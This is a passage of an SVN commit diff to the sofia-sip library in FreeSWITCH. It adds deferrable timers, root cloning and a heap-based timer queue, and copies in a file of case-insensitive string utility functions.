@@ -570,6 +630,7 @@
 				    su_port_vtable_t const *);
 SOFIAPUBFUN void su_socket_port_deinit(su_socket_port_t *self);
 SOFIAPUBFUN int su_socket_port_send(su_port_t *self, su_msg_r rmsg);
+SOFIAPUBFUN int su_socket_port_wakeup(su_port_t *self);
 
 SOFIA_END_DECLS
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_pthread_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_pthread_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_pthread_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -315,6 +315,9 @@
 	task->sut_root->sur_magic = arg->magic;
 	task->sut_root->sur_deinit = arg->deinit;
 
+	su_root_set_max_defer(task->sut_root, 
+			      su_root_get_max_defer(arg->parent));
+
 	if (arg->init(task->sut_root, arg->magic) == 0) {
 	  su_pthread_port_return_to_parent(arg, 0), arg = NULL;
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_root.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_root.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_root.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -86,6 +86,8 @@
  *    - su_root_run() [Do not call from cloned task]
  *    - su_root_break() [Do not call from cloned task]
  *    - su_root_step() [Do not call from cloned task]
+ *    - su_root_get_max_defer()
+ *    - su_root_set_max_defer()
  *    - su_root_task()
  *
  * New tasks can be created via su_clone_start() function.
@@ -127,6 +129,7 @@
  * Tasks
  */
 
+/** NULL task. */
 su_task_r const su_task_null = SU_TASK_R_INIT;
 
 #define SU_TASK_ZAP(t, f) \
@@ -259,13 +262,13 @@
  *
  * @retval true (nonzero) if task is not stopped,
  * @retval zero if it is null or stopped.
+ *
+ * @note A task sharing thread with another task is considered stopped when
+ * ever the the main task is stopped.
  */
 int su_task_is_running(su_task_r const task)
 {
-  return
-    task &&
-    task->sut_port &&
-    task->sut_root;
+  return task && task->sut_root && su_port_is_running(task->sut_port);
 }
 
 /** @internal
@@ -318,14 +321,43 @@
  *
  * @param task task handle
  *
- * @return A timer list of the task. If there are no timers, it returns
- * NULL.
+ * @return A timer list of the task.
  */
 su_timer_queue_t *su_task_timers(su_task_r const task)
 {
   return task->sut_port ? su_port_timers(task->sut_port) : NULL;
 }
 
+/**Return the queue for deferrable timers associated with given task.
+ *
+ * @param task task handle
+ *
+ * @return A timer list of the task.
+ *
+ * @NEW_1_12_11
+ */
+su_timer_queue_t *su_task_deferrable(su_task_r const task)
+{
+  return task ? su_port_deferrable(task->sut_port) : NULL;
+}
+
+/** Wakeup a task.
+ *
+ * Wake up a task. This function is mainly useful when using deferrable
+ * timers executed upon wakeup.
+ *
+ * @param task task handle
+ *
+ * @retval 0 if succesful
+ * @retval -1 upon an error
+ *
+ * @NEW_1_12_11
+ */
+int su_task_wakeup(su_task_r const task)
+{
+  return task ? su_port_wakeup(task->sut_port) : -1;
+}
+
 /** Execute the @a function by @a task thread.
  *
  * @retval 0 if successful
@@ -377,6 +409,48 @@
   return su_root_create_with_port(magic, su_port_create());
 }
 
+/* Initializer used by su_root_clone() */
+static int
+su_root_clone_initializer(su_root_t *root,
+			  su_root_magic_t *magic)
+{
+  *(su_root_t **)magic = root;
+  return 0;
+}
+
+/** Create a a new root object sharing port/thread with existing one.
+ *
+ * Allocate and initialize the instance of su_root_t.
+ *
+ * @param magic     pointer to user data
+ *
+ * @return A pointer to allocated su_root_t instance, NULL on error.
+ *
+ * @NEW_1_12_11
+ */
+su_root_t *
+su_root_clone(su_root_t *self, su_root_magic_t *magic)
+{
+  int threading = 0, error;
+  su_clone_r clone;
+  su_root_t *cloned = NULL;
+
+  if (self == NULL)
+    return NULL;
+
+  threading = self->sur_threading, self->sur_threading = 0;
+  error = su_clone_start(self, clone,
+			 (void *)&cloned, su_root_clone_initializer, NULL);
+  self->sur_threading = threading;
+
+  if (error)
+    return NULL;
+
+  su_clone_forget(clone);	/* destroyed with su_root_destroy() */
+  su_root_set_magic(cloned, magic);
+  return cloned;
+}
+
 /**@internal
  *
  * Create a reactor object using given message port.
@@ -447,6 +521,10 @@
   unregistered = su_port_unregister_all(port, self);
   reset = su_timer_reset_all(su_task_timers(self->sur_task), self->sur_task);
 
+  if (su_task_deferrable(self->sur_task))
+    reset += su_timer_reset_all(su_task_deferrable(self->sur_task),
+				self->sur_task);
+
   if (unregistered || reset)
     SU_DEBUG_1(("su_root_destroy: "
 		"%u registered waits, %u timers\n",
@@ -601,6 +679,56 @@
   return su_port_unregister(self->sur_port, self, wait, callback, arg);
 }
 
+/** Set maximum defer time.
+ *
+ * The deferrable timers can be deferred until the task is otherwise
+ * activated, however, they are deferred no longer than the maximum defer
+ * time. The maximum defer time determines also the maximum time during
+ * which task waits for events while running.  The maximum defer time is 15
+ * seconds by default.
+ *
+ * Cloned tasks inherit the maximum defer time.
+ *
+ * @param self pointer to root object
+ * @param max_defer maximum defer time in milliseconds
+ *
+ * @retval 0 when successful
+ * @retval -1 upon an error
+ *
+ * @sa su_timer_deferrable()
+ *
+ * @NEW_1_12_11
+ */
+int su_root_set_max_defer(su_root_t *self, su_duration_t max_defer)
+{
+  if (!self)
+    return -1;
+
+  return su_port_max_defer(self->sur_port, &max_defer, &max_defer);
+}
+
+/** Get maximum defer time.
+ *
+ * The deferrable timers can be deferred until the task is otherwise
+ * activated, however, they are deferred no longer than the maximum defer
+ * time. The maximum defer time is 15 seconds by default.
+ *
+ * @param root pointer to root object
+ *
+ * @return Maximum defer time
+ *
+ * @NEW_1_12_7
+ */
+su_duration_t su_root_get_max_defer(su_root_t const *self)
+{
+  su_duration_t max_defer = SU_WAIT_MAX;
+
+  if (self != NULL)
+    su_port_max_defer(self->sur_port, &max_defer, NULL);
+
+  return max_defer;
+}
+
 /** Remove a su_wait_t registration.
  *
  *  The function su_root_deregister() deregisters a su_wait_t object. The

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_select_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_select_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_select_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -139,7 +139,7 @@
       su_base_port_incref,
       su_select_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_select_port_register,
       su_select_port_unregister,
       su_select_port_deregister,
@@ -160,6 +160,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_select_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_socket_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_socket_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_socket_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -179,23 +179,17 @@
   su_pthread_port_deinit(self);
 }
 
-/** @internal Send a message to the port. */
-int su_socket_port_send(su_port_t *self, su_msg_r rmsg)
+/** @internal Wake up the port. */
+int su_socket_port_wakeup(su_port_t *self)
 {
-  int wakeup = su_base_port_send(self, rmsg);
+  assert(self->sup_mbox[SU_MBOX_SEND] != INVALID_SOCKET);
 
-  if (wakeup < 0)
-    return -1;
-
-  if (wakeup) {
-    assert(self->sup_mbox[SU_MBOX_SEND] != INVALID_SOCKET);
-
-    if (send(self->sup_mbox[SU_MBOX_SEND], "X", 1, 0) == -1) {
+  if (!su_port_own_thread(self) &&
+      send(self->sup_mbox[SU_MBOX_SEND], "X", 1, 0) == -1) {
 #if HAVE_SOCKETPAIR
-      if (su_errno() != EWOULDBLOCK)
+    if (su_errno() != EWOULDBLOCK)
 #endif
-	su_perror("su_msg_send: send()");
-    }
+      su_perror("su_msg_send: send()");
   }
 
   return 0;

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_string.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/su/su_string.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_string.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_string.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,518 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2005 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@internal @file su_string.c
+ * @brief Various string utility functions.
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#include "config.h"
+
+#include <sofia-sip/su_string.h>
+
+#include <ctype.h>
+#include <string.h>
+#include <stddef.h>
+#include <limits.h>
+
+/** ASCII-case-insensitive substring search.
+ *
+ * Search for substring ASCII-case-insensitively.
+ *
+ */
+char *
+su_strcasestr(const char *haystack,
+	      const char *needle)
+{
+  unsigned char lcn, ucn;
+  size_t i;
+
+  if (haystack == NULL || needle == NULL)
+    return NULL;
+
+  lcn = ucn = needle[0];
+  if ('A' <= lcn && lcn <= 'Z')
+    lcn += 'a' - 'A';
+  else if ('a' <= ucn && ucn <= 'z')
+    ucn -= 'a' - 'A';
+
+  if (lcn == 0)
+    return (char *)haystack;
+
+  while (haystack[0] != 0) {
+    if (lcn == haystack[0] || ucn == haystack[0]) {
+      for (i = 1; ; i++) {
+	char n = needle[i], h = haystack[i];
+	if (n == 0)
+	  return (char *)haystack;
+	if (h == 0)
+	  return NULL;
+	if (n == h)
+	  continue;
+	if ((n ^ h) != ('A' ^ 'a'))
+	  break;
+	if ('A' <= n && n <= 'Z')
+	  n += 'a' - 'A';
+	else if ('A' <= h && h <= 'Z')
+	  h += 'a' - 'A';
+	if (n != h)
+	  break;
+      }
+    }
+    haystack++;
+  }
+
+  return NULL;		/* Not found */
+}
+
+/** ASCII-case-insensitive comparison.
+ *
+ * Compare two strings colliding upper case and lower case ASCII chars.
+ * Avoid using locale-dependent strcasecmp(). A NULL pointer compares as an
+ * empty string.
+ *
+ * @retval An int less than zero if @a s1 is less than @a s2
+ * @retval Zero if @a s1 matches @a s2
+ * @retval An int greater than zero if @a s1 is greater than @a s2
+ */
+int
+su_strcasecmp(char const *s1,
+	      char const *s2)
+{
+  unsigned char const *A = (unsigned char const *)(s1 ? s1 : "");
+  unsigned char const *B = (unsigned char const *)(s2 ? s2 : "");
+
+  for (;;) {
+    unsigned char a = *A++, b = *B++;
+
+    int value = (int)a - (int)b;
+
+    if (a == 0)
+      return value;
+
+    if (value == 0)
+      continue;
+
+    if ('A' <= a && a <= 'Z')
+      a += 'a' - 'A';
+
+    if ('A' <= b && b <= 'Z')
+      b += 'a' - 'A';
+
+    value = (int)a - (int)b;
+
+    if (value)
+      return value;
+  }
+}
+
+/** ASCII-case-insensitive comparison.
+ *
+ * Compare first @a n bytes of two strings colliding upper case and lower
+ * case ASCII chars. Avoid using locale-dependent strncasecmp(). A NULL
+ * pointer compares as an empty string.
+ *
+ * @retval An int less than zero if first @a n bytes of @a s1 is less than @a s2
+ * @retval Zero if first @a n bytes of @a s1 matches @a s2
+ * @retval An int greater than zero if first @a n bytes of  @a s1 is greater than @a s2
+ */
+int
+su_strncasecmp(char const *s1,
+	       char const *s2,
+	       size_t n)
+{
+  unsigned char const *A = (unsigned char const *)(s1 ? s1 : "");
+  unsigned char const *B = (unsigned char const *)(s2 ? s2 : "");
+
+  if (n == 0 || A == B || memcmp(A, B, n) == 0)
+    return 0;
+
+  for (;;) {
+    unsigned char a, b;
+    int value;
+
+    if (n-- == 0)
+      return 0;
+
+    a = *A++, b = *B++;
+
+    value = a - b;
+
+    if (a == 0)
+      return value;
+    if (value == 0)
+      continue;
+
+    if ('A' <= a && a <= 'Z')
+      a += 'a' - 'A';
+
+    if ('A' <= b && b <= 'Z')
+      b += 'a' - 'A';
+
+    value = a - b;
+
+    if (value)
+      return value;
+  }
+}
+
+/** Check if two strings match.
+ *
+ * Compare two strings. Accept NULL arguments: two NULL pointers match each
+ * other, but otherwise NULL pointer does not match anything else, not even
+ * empty string.
+ *
+ * @param s1 
+ *
+ * @retval One if @a s1 matches @a s2
+ * @retval Zero if @a s1 does not match @a s2
+ */
+int
+su_strmatch(char const *s1, char const *s2)
+{
+  if (s1 == s2)
+    return 1;
+
+  if (s1 == NULL || s2 == NULL)
+    return 0;
+
+  return strcmp(s1, s2) == 0;
+}
+
+/** ASCII-case-insensitive string match.
+ *
+ * Match two strings colliding upper case and lower case ASCII characters.
+ * Avoid using locale-dependent strncasecmp(). Accept NULL arguments: two
+ * NULL pointers match each other, but otherwise NULL pointer does not match
+ * anything else, not even empty string.
+ *
+ * @retval One if first @a n bytes of @a s1 matches @a s2
+ * @retval Zero if first @a n bytes of @a s1 do not match @a s2
+ */
+int
+su_casematch(char const *s1, char const *s2)
+{
+  if (s1 == s2)
+    return 1;
+
+  if (s1 == NULL || s2 == NULL)
+    return 0;
+
+  for (;;) {
+    unsigned char a = *s1++, b = *s2++;
+
+    if (b == 0)
+      return a == b;
+
+    if (a == b)
+      continue;
+
+    if ('A' <= a && a <= 'Z') {
+      if (a + 'a' - 'A' != b)
+	return 0;
+    }
+    else if ('A' <= b && b <= 'Z') {
+      if (a != b + 'a' - 'A')
+	return 0;
+    }
+    else
+      return 0;
+  }
+}
+
+/** String prefix match.
+ *
+ * Match first @a n bytes of two strings. If @a n is 0, match always, even
+ * if arguments are NULL. Otherwise, accept NULL arguments: two NULL
+ * pointers match each other. NULL pointer does not match
+ * anything else, not even empty string.
+ *
+ * @retval One if first @a n bytes of @a s1 matches @a s2
+ * @retval Zero if first @a n bytes of @a s1 do not match @a s2
+ */
+int
+su_strnmatch(char const *s1,
+	      char const *s2,
+	      size_t n)
+{
+  if (n == 0)
+    return 1;
+
+  if (s1 == s2)
+    return 1;
+
+  if (s1 == NULL || s2 == NULL)
+    return 0;
+
+  return strncmp(s1, s2, n) == 0;
+}
+
+/** ASCII-case-insensitive string match.
+ *
+ * Compare two strings colliding upper case and lower case ASCII characters.
+ * Avoid using locale-dependent strncasecmp().
+ *
+ * @retval One if first @a n bytes of @a s1 matches @a s2
+ * @retval Zero if first @a n bytes of @a s1 do not match @a s2
+ */
+int
+su_casenmatch(char const *s1,
+	      char const *s2,
+	      size_t n)
+{
+  if (n == 0)
+    return 1;
+
+  if (s1 == s2)
+    return 1;
+
+  if (s1 == NULL || s2 == NULL)
+    return 0;
+
+  if (strncmp(s1, s2, n) == 0)
+    return 1;
+
+  while (n-- > 0) {
+    unsigned char a = *s1++, b = *s2++;
+
+    if (a == 0 || b == 0)
+      return a == b;
+
+    if (a == b)
+      continue;
+
+    if ('A' <= a && a <= 'Z') {
+      if (a + 'a' - 'A' != b)
+	return 0;
+    }
+    else if ('A' <= b && b <= 'Z') {
+      if (a != b + 'a' - 'A')
+	return 0;
+    }
+    else
+      return 0;
+  }
+
+  return 1;
+}
+
+/** Search a string for a set of characters.
+ *
+ * Calculate the length of the initial segment of first @a n bytes of @a s
+ * which consists entirely of characters in @a accept.
+ *
+ * @param s string to search for characters
+ * @param n limit of search length
+ * @param accept set of characters to accept
+ *
+ * @return
+ * Number of characters in the prefix of @a s which consists only of
+ * characters from @a accept.
+ */
+size_t
+su_strnspn(char const *s, size_t n, char const *accept)
+{
+  size_t len;
+  size_t asize;
+
+  if (accept == NULL || s == NULL)
+    return 0;
+
+  asize = strlen(accept);
+
+  if (asize == 0) {
+    return 0;
+  }
+  else if (asize == 1) {
+    char c, a = accept[0];
+    for (len = 0; len < n && (c = s[len]) && c == a; len++)
+      ;
+  }
+  else if (asize == 2) {
+    char c, a1 = accept[0], a2 = accept[1];
+    for (len = 0; len < n && (c = s[len]) && (c == a1 || c == a2); len++)
+      ;
+  }
+  else {
+    size_t i;
+    char c, a1 = accept[0], a2 = accept[1];
+
+    for (len = 0; len < n && (c = s[len]); len++) {
+
+      if (c == a1 || c == a2)
+	continue;
+
+      for (i = 2; i < asize; i++) {
+	if (c == accept[i])
+	  break;
+      }
+
+      if (i == asize)
+	break;
+    }
+  }
+
+  return len;
+}
+
+/** Search a string for a set of characters.
+ *
+ * Calculate the length of the initial segment of first @a n bytes of @a s
+ * which does not constists of characters in @a reject.
+ *
+ * @param s string to search for characters
+ * @param n limit of search length
+ * @param reject set of characters to reject
+ *
+ * @return
+ * Number of characters in the prefix of @a s which are not in @a reject.
+ */
+size_t
+su_strncspn(char const *s, size_t n, char const *reject)
+{
+  size_t len;
+  size_t rsize;
+
+  if (s == NULL)
+    return 0;
+
+  if (reject == NULL)
+    rsize = 0;
+  else
+    rsize = strlen(reject);
+
+  if (rsize == 0) {
+#if HAVE_STRNLEN
+    len = strnlen(s, n);
+#else
+    for (len = 0; len < n && s[len]; len++)
+      ;
+#endif
+  }
+  else if (rsize == 1) {
+    char c, rej = reject[0];
+    for (len = 0; len < n && (c = s[len]) && c != rej; len++)
+      ;
+  }
+  else if (rsize == 2) {
+    char c, rej1 = reject[0], rej2 = reject[1];
+    for (len = 0; len < n && (c = s[len]) && c != rej1 && c != rej2; len++)
+      ;
+  }
+  else {
+    size_t i;
+    char c, rej1 = reject[0], rej2 = reject[1];
+    for (len = 0; len < n && (c = s[len]) && c != rej1 && c != rej2; len++) {
+      for (i = 2; i < rsize; i++)
+	if (c == reject[i])
+	  return len;
+    }
+  }
+
+  return len;
+}
+
+/**Scan memory for a set of bytes.
+ *
+ * Calculates the length of the memory area @a mem which consists entirely
+o * of bytes in @a accept.
+ *
+ * @param mem        pointer to memory area
+ * @param memlen     size of @a mem in bytes
+ * @param accept     pointer to table containing bytes to accept
+ * @param acceptlen  size of @a accept table
+ *
+ * @return
+ * The number of consequtive bytes in the memory area @a which consists
+ * entirely of bytes in @a accept.
+ */
+size_t su_memspn(const void *mem, size_t memlen,
+		 const void *accept, size_t acceptlen)
+{
+  size_t i;
+
+  unsigned char const *m = mem, *a = accept;
+
+  char accepted[UCHAR_MAX + 1];
+
+  if (mem == NULL || memlen == 0 || acceptlen == 0 || accept == NULL)
+    return 0;
+
+  memset(accepted, 0, sizeof accepted);
+
+  for (i = 0; i < acceptlen; i++)
+    accepted[a[i]] = 1;
+
+  for (i = 0; i < memlen; i++)
+    if (!accepted[m[i]])
+      break;
+
+  return i;
+}
+
+/**Search memory for bytes not in a given set.
+ *
+ * Calculates the length of the memory area @a mem which consists entirely
+ * of bytes not in @a reject.
+ *
+ * @param mem        pointer to memory area
+ * @param memlen     size of @a mem in bytes
+ * @param reject     pointer to table containing bytes to reject
+ * @param rejectlen  size of @a reject table
+ *
+ * @return
+ * The number of consequtive bytes in the memory area @a which are not in @a
+ * reject.
+ * @par
+ * If @a rejectlen is 0, or @a reject is NULL, it returns @a memlen, size of
+ * the memory area.
+ */
+size_t 
+su_memcspn(const void *mem, size_t memlen,
+	   const void *reject, size_t rejectlen)
+{
+  size_t i;
+
+  unsigned char const *m = mem, *r = reject;
+
+  char rejected[UCHAR_MAX + 1];
+
+  if (mem == NULL || memlen == 0)
+    return 0;
+
+  if (rejectlen == 0 || reject == 0)
+    return memlen;
+
+  memset(rejected, 0, sizeof rejected);
+
+  for (i = 0; i < rejectlen; i++)
+    rejected[r[i]] = 1;
+
+  for (i = 0; i < memlen; i++)
+    if (rejected[m[i]])
+      break;
+
+  return i;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_taglist.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_taglist.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_taglist.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -57,6 +57,7 @@
 #include <sofia-sip/su_tag_class.h>
 #include <sofia-sip/su_tag_inline.h>
 #include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_string.h>
 
 #ifndef HAVE_STRTOULL
 unsigned longlong strtoull(const char *, char **, int);
@@ -410,7 +411,7 @@
 #if !defined(NDEBUG)
     else if (tt->tt_class && tt->tt_class->tc_ref_set) {
       fprintf(stderr, "WARNING: tag %s::%s directly used by tl_gets()\n",
-	      tt->tt_ns, tt->tt_name);
+			  tt->tt_ns ? tt->tt_ns : "", tt->tt_name ? tt->tt_name : "");
       assert(tt->tt_class == ref_tag_class);
     }
 #endif
@@ -1399,10 +1400,10 @@
   int retval;
   int value = 0;
 
-  if (strncasecmp(s, "true", 4) == 0
+  if (su_casenmatch(s, "true", 4)
       && strlen(s + 4) == strspn(s + 4, " \t\r\n")) {
     value = 1, retval = 1;
-  } else if (strncasecmp(s, "false", 5) == 0
+  } else if (su_casenmatch(s, "false", 5)
 	     && strlen(s + 5) == strspn(s + 5, " \t\r\n")) {
     value = 0, retval = 1;
   } else {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_timer.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_timer.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_timer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,8 +32,22 @@
 
 #include "config.h"
 
+#include <sys/types.h>
+#include "sofia-sip/heap.h"
+
+typedef union {
+  void *private;
+  /* Use for debugging */
+  struct timers_priv {
+    size_t _size, _used;
+    struct su_timer_s * _heap[2];
+  } *actual;
+} su_timer_heap_t;
+
+#define SU_TIMER_QUEUE_T su_timer_heap_t
+
+#include "sofia-sip/su.h"
 #include "su_port.h"
-#include "sofia-sip/su.h"
 #include "sofia-sip/su_wait.h"
 #include "sofia-sip/su_alloc.h"
 #include "sofia-sip/rbtree.h"
@@ -143,19 +157,16 @@
  */
 
 struct su_timer_s {
-  /** Pointers within red-black tree */
-  su_timer_t     *sut_left, *sut_right, *sut_parent;
   su_task_r       sut_task;	/**< Task reference */
+  size_t          sut_set;	/**< Timer is set (inserted in heap) */
   su_time_t       sut_when;	/**< When timer should be waken up next time */
   su_duration_t   sut_duration;	/**< Timer duration */
   su_timer_f      sut_wakeup;	/**< Function to call when waken up */
   su_timer_arg_t *sut_arg;	/**< Pointer to argument data */
-  su_time_t       sut_run;	/**< When this timer was last waken up */
   unsigned        sut_woken;	/**< Timer has waken up this many times */
-  unsigned short  sut_running;	/**< Timer is running */
 
-  unsigned char   sut_black;	/**< Black node */
-  unsigned char   sut_set;	/**< Timer is set (inserted in tree) */
+  unsigned        sut_running:2;/**< Timer is running */
+  unsigned        sut_deferrable:1;/**< Timer can be deferrable */
 };
 
 /** Timer running status */
@@ -165,36 +176,36 @@
   run_for_ever = 2	/**< Do not compensate  */
 };
 
-#define SU_TIMER_IS_SET(sut) ((sut)->sut_set)
+#define SU_TIMER_IS_SET(sut) ((sut)->sut_set != 0)
 
-/* Accessor macros for rbtree */
-#define LEFT(sut) ((sut)->sut_left)
-#define RIGHT(sut) ((sut)->sut_right)
-#define PARENT(sut) ((sut)->sut_parent)
-#define SET_RED(sut) ((sut)->sut_black = 0)
-#define SET_BLACK(sut) ((sut)->sut_black = 1)
-#define CMP(a, b) SU_TIME_CMP((a)->sut_when, (b)->sut_when)
-#define IS_RED(sut) ((sut) && (sut)->sut_black == 0)
-#define IS_BLACK(sut) (!(sut) || (sut)->sut_black == 1)
-#define COPY_COLOR(dst, src) ((dst)->sut_black = (src)->sut_black)
-#define INSERT(sut) ((sut)->sut_set = 1)
-#define REMOVE(sut) ((sut)->sut_set = 0,				\
-  (sut)->sut_left = (sut)->sut_right = (sut)->sut_parent = NULL)
+HEAP_DECLARE(su_inline, su_timer_queue_t, timers_, su_timer_t *);
 
-RBTREE_PROTOS(su_inline, timers, su_timer_t);
+su_inline void timers_set(su_timer_t **array, size_t index, su_timer_t *t)
+{
+  array[t->sut_set = index] = t;
+}
 
-su_inline int timers_append(su_timer_queue_t *, su_timer_t *);
-su_inline void timers_remove(su_timer_queue_t *, su_timer_t *);
-su_inline su_timer_t *timers_succ(su_timer_t const *);
-su_inline su_timer_t *timers_prec(su_timer_t const *);
-su_inline su_timer_t *timers_first(su_timer_t const *);
-su_inline su_timer_t *timers_last(su_timer_t const *);
+su_inline int timers_less(su_timer_t *a, su_timer_t *b)
+{
+  return
+    a->sut_when.tv_sec < b->sut_when.tv_sec ||
+    (a->sut_when.tv_sec == b->sut_when.tv_sec &&
+     a->sut_when.tv_usec < b->sut_when.tv_usec);
+}
 
-RBTREE_BODIES(su_inline, timers, su_timer_t,
-	      LEFT, RIGHT, PARENT,
-	      IS_RED, SET_RED, IS_BLACK, SET_BLACK, COPY_COLOR,
-	      CMP, INSERT, REMOVE);
+su_inline void *timers_alloc(void *argument, void *memory, size_t size)
+{
+  (void)argument;
 
+  if (size)
+    return realloc(memory, size);
+  else
+    return free(memory), NULL;
+}
+
+HEAP_BODIES(su_inline, su_timer_queue_t, timers_, su_timer_t *,
+	    timers_less, timers_set, timers_alloc, NULL);
+
 /**@internal Set the timer.
  *
  * @retval 0 when successful (always)
@@ -207,34 +218,28 @@
 	      su_time_t when,
 	      su_duration_t offset)
 {
+  int retval;
+
+  if (timers == NULL)
+    return -1;
+
   if (SU_TIMER_IS_SET(t))
-    timers_remove(timers, t);
+    timers_remove(timers[0], t->sut_set);
 
   t->sut_wakeup = wakeup;
   t->sut_arg = arg;
   t->sut_when = su_time_add(when, offset);
 
-  return timers_append(timers, t);
-}
+  if (timers_is_full(timers[0])) {
+    timers_resize(NULL, timers, 0);
+    assert(!timers_is_full(timers[0]));
+    if (timers_is_full(timers[0]))
+      return -1;
+  }
 
-/**@internal Reset the timer.
- *
- * @retval 0 when successful (always)
- */
-su_inline int
-su_timer_reset0(su_timer_queue_t *timers,
-		su_timer_t *t)
-{
-  if (SU_TIMER_IS_SET(t))
-    timers_remove(timers, t);
+  retval = timers_add(timers[0], t); assert(retval == 0);
 
-  t->sut_wakeup = NULL;
-  t->sut_arg = NULL;
-  t->sut_running = reset;
-
-  memset(&t->sut_run, 0, sizeof(t->sut_run));
-
-  return 0;
+  return retval;
 }
 
 /**@internal Validate timer @a t and return pointer to per-port timer tree.
@@ -243,9 +248,9 @@
  * @retval NULL upon an error
  */
 static
-su_timer_queue_t *su_timer_tree(su_timer_t const *t,
-				int use_sut_duration,
-				char const *caller)
+su_timer_queue_t *su_timer_queue(su_timer_t const *t,
+				 int use_sut_duration,
+				 char const *caller)
 {
   su_timer_queue_t *timers;
 
@@ -255,12 +260,6 @@
     return NULL;
   }
 
-  timers = su_task_timers(t->sut_task);
-
-  if (timers == NULL)
-    SU_DEBUG_1(("%s(%p): %s\n", caller, (void *)t,
-		"invalid timer"));
-
   if (use_sut_duration && t->sut_duration == 0) {
     assert(t->sut_duration > 0);
     SU_DEBUG_1(("%s(%p): %s\n", caller, (void *)t,
@@ -268,6 +267,20 @@
     return NULL;
   }
 
+  if (t->sut_deferrable)
+    timers = su_task_deferrable(t->sut_task);
+  else
+    timers = su_task_timers(t->sut_task);
+
+  if (timers == NULL) {
+    SU_DEBUG_1(("%s(%p): %s\n", caller, (void *)t, "invalid timer"));
+    return NULL;
+  }
+  else if (timers_is_full(timers[0]) && timers_resize(NULL, timers, 0) == -1) {
+    SU_DEBUG_1(("%s(%p): %s\n", caller, (void *)t, "timer queue failed"));
+    return NULL;
+  }
+
   return timers;
 }
 
@@ -277,7 +290,7 @@
  * Allocate and initialize an instance of su_timer_t.
  *
  * @param task a task for root object with which the timer will be associated
- * @param msec the default duration of the timer
+ * @param msec the default duration of the timer in milliseconds
  *
  * @return A pointer to allocated timer instance, NULL on error.
  */
@@ -299,6 +312,7 @@
   return retval;
 }
 
+
 /** Destroy a timer.
  *
  * Deinitialize and free an instance of su_timer_t.
@@ -308,14 +322,44 @@
 void su_timer_destroy(su_timer_t *t)
 {
   if (t) {
-    su_timer_queue_t *timers = su_task_timers(t->sut_task);
-    if (timers)
-      su_timer_reset0(timers, t);
+    su_timer_reset(t);
     su_task_deinit(t->sut_task);
     su_free(NULL, t);
   }
 }
 
+/** Check if the timer has been set.
+ *
+ * @param t pointer to a timer object
+ *
+ * @return Nonzero if set, zero if reset.
+ *
+ * @NEW_1_12_11
+ */
+int su_timer_is_set(su_timer_t const *t)
+{
+  return t && t->sut_set != 0;
+}
+
+/**Return when the timer has been last expired.
+ *
+ * @param t pointer to a timer object
+ *
+ * @return Timestamp (as returned by su_time()).
+ *
+ * @note If the timer is running (set with su_timer_run()), the returned
+ * timestamp not the actual time but it is rather calculated from the
+ * initial timestamp.
